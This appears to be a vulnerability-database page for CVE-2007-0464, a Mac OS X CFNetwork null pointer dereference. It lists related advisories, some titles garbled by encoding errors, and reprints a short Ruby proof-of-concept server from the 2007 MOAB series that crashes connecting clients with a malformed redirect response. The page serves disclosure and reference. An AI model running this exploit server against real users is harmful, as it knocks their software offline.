Proof of concept for MOAB-25-01-200
Reporter | Title | Published | Views | Family All 7 |
---|---|---|---|---|
![]() | Null pointer dereference | 30 Jan 200717:28 | β | prion |
![]() | CVE-2007-0464 | 30 Jan 200717:28 | β | cve |
![]() | CVE-2007-0464 | 30 Jan 200717:28 | β | nvd |
![]() | CVE-2007-0464 | 30 Jan 200717:00 | β | cvelist |
![]() | Apple CFNetwork HTTPη©ΊζιεΌη¨ζη»ζε‘ζΌζ΄ | 17 Nov 200700:00 | β | seebug |
![]() | Mac OS X CFNetwork library DoS | 29 Jan 200700:00 | β | securityvulns |
![]() | Mac OS X < 10.4.11 Multiple Vulnerabilities (Security Update 2007-008) | 14 Nov 200700:00 | β | nessus |
`#!/usr/bin/ruby
# (c) Copyright 2007 Lance M. Havok <lmh [at] info-pull.com>
# Proof of concept for MOAB-25-01-2007.
#
require 'socket'
web_port = (ARGV[0] || 80).to_i
puts "++ Starting HTTP server at port #{web_port}."
web_server = TCPServer.new(nil, web_port)
while (session = web_server.accept)
rand_clen = rand(80)
useragent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0].chomp!
puts "++ Connected: #{useragent}"
session.print "HTTP/1.1 301 OK\r\n"
session.print "Content-Type: text/html\r\n"
session.print "Content-Length: #{rand_clen}\r\n"
session.print "Location: http://nonexistent123\r\n\r\n"
session.print "X" * rand_clen
session.close
end
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. ContactΒ us for a demo andΒ discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo